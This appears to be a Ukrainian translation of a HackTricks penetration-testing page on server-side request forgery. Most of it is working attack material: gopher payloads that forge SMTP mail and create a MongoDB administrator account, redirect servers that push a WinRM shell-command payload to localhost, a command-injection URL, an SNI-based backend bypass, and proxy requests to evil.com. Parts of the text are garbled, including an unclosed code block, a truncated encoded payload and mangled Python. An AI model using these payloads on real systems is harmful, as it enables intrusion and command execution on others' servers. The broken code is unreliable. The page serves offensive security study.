SSRF (Server Side Request Forgery)

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти. Отримайте доступ сьогодні:

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

Уразливість Server-side Request Forgery (SSRF) виникає, коли зловмисник маніпулює серверною програмою, щоб зробити HTTP-запити на домен за їхнім вибором. Ця уразливість викриває сервер зовнішнім запитам, спрямованим зловмисником.

Захоплення SSRF

Перше, що вам потрібно зробити, це захопити взаємодію SSRF, створену вами. Для захоплення HTTP- або DNS-взаємодії ви можете використовувати такі інструменти, як:

Обхід доменів у білому списку

Зазвичай ви виявите, що SSRF працює лише в певних доменах або URL-адресах. На наступній сторінці ви знайдете компіляцію технік для спроб обійти цей білий список:

pageURL Format Bypass

Обхід через відкритий перенаправлення

Якщо сервер належним чином захищений, ви можете обійти всі обмеження, використовуючи вразливість відкритого перенаправлення на веб-сторінці. Оскільки веб-сторінка дозволить SSRF на той самий домен, і, ймовірно, буде слідувати перенаправленням, ви можете використати відкрите перенаправлення, щоб змусити сервер отримати доступ до внутрішнього ресурсу. Докладніше читайте тут: https://portswigger.net/web-security/ssrf

Протоколи

  • file://

  • Схема URL file:// посилається безпосередньо на /etc/passwd: file:///etc/passwd

  • dict://

  • Схема URL DICT описується як використовувана для доступу до визначень або словників за допомогою протоколу DICT. Наведено приклад побудованого URL, який спрямований на конкретне слово, базу даних та номер запису, а також приклад використання PHP-скрипта для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Визначено як протокол безпечного передавання файлів через безпечний shell, наведено приклад того, як PHP-скрипт можна використовувати для підключення до шкідливого сервера SFTP: url=sftp://generic.com:11111/

  • TFTP://

  • Згадується Протокол простого передавання файлів, що працює через UDP, з прикладом PHP-скрипта, призначеного для відправлення запиту на сервер TFTP. Запит TFTP робиться на 'generic.com' на порт '12346' для файлу 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Цей сегмент охоплює протокол легкого доступу до каталогів, підкреслюючи його використання для управління та доступу до розподілених служб каталогів через IP-мережі. Взаємодійте з сервером LDAP на localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • Описано метод використання уразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальші розслідувальні дії на основі цієї інформації.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL глобінг - обхід WAF

  • Якщо SSRF виконується за допомогою curl, у curl є функція, яка називається URL глобінг, яка може бути корисною для обходу WAF. Наприклад, у цьому **описі ви можете знайти приклад траверсу шляху через протокол file:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://

  • Обговорюється можливість протоколу Gopher вказати IP, порт та байти для зв'язку з сервером, разом із інструментами, такими як Gopherus та remote-method-guesser для створення поліпшень. Показано два відмінні використання:

Gopher://

За допомогою цього протоколу ви можете вказати IP, порт та байти, які ви хочете, щоб сервер надіслав. Після цього ви фактично можете використовувати SSRF для зв'язку з будь-яким TCP сервером (але вам потрібно знати, як спілкуватися з послугою спочатку). На щастя, ви можете використовувати Gopherus, щоб створювати поліпшення для кількох послуг. Крім того, remote-method-guesser може бути використаний для створення gopher поліпшень для служб Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Зворотнє підключення до 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Створити користувача з ім'ям користувача=admin з паролем=admin123 та дозволом=адміністратор

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF через заголовок Referrer та інші

Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, практика, яка ненавмисно викриває додатки до уразливостей на стороні сервера у вигляді підроблення запитів на сервер (SSRF). Це тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, зазначені в заголовку Referrer, для аналізу вмісту сайту-джерела. Для виявлення цих уразливостей рекомендується використовувати плагін Burp Suite "Collaborator Everywhere", використовуючи спосіб обробки аналітичними інструментами заголовка Referer для ідентифікації потенційних поверхонь атаки SSRF.

SSRF через дані SNI з сертифікату

Неправильна конфігурація, яка може дозволити підключення до будь-якого бекенду за допомогою простого налаштування, проілюстрована на прикладі конфігурації Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Це налаштування викриває вразливість на Server-Side Request Forgery (SSRF), яку можна використовувати, просто вказавши бажану IP-адресу або доменне ім'я у полі SNI. Нижче наведено приклад використання для примусового підключення до довільного бекенду, такого як internal.host.com, за допомогою команди openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF з Внедренням Команд

Можливо варто спробувати використати пейлоад на кшталт: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Відображення PDF

Якщо веб-сторінка автоматично створює PDF з наданою вами інформацією, ви можете вставити деякий JS, який буде виконаний самим створювачем PDF (сервером) під час створення PDF, і ви зможете зловживати SSRF. Дізнайтеся більше тут.

Від SSRF до DoS

Створіть кілька сеансів та спробуйте завантажити важкі файли, використовуючи SSRF з сеансів.

Функції SSRF PHP

pagePHP SSRF

SSRF Перенаправлення на Gopher

Для деяких експлуатацій може знадобитися відправити відповідь перенаправлення (потенційно використовуючи інший протокол, наприклад gopher). Тут ви знайдете різні коди Python для відповіді з перенаправленням:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%
```plaintext
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти у світі. Отримайте доступ сьогодні:

Неправильно налаштовані проксі для SSRF

Хитрощі з цього посту.

Flask

Вразливий код проксі Flask

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкове ім'я хоста ім'ям користувача** та впровадити нове. Атака запиту:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Вразливий код:

Було виявлено, що можливо розпочати шлях запиту з символу ;, що дозволяє використовувати потім @ та впроваджувати новий хост для доступу. Атака запиту:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Вбудований веб-сервер PHP

Last updated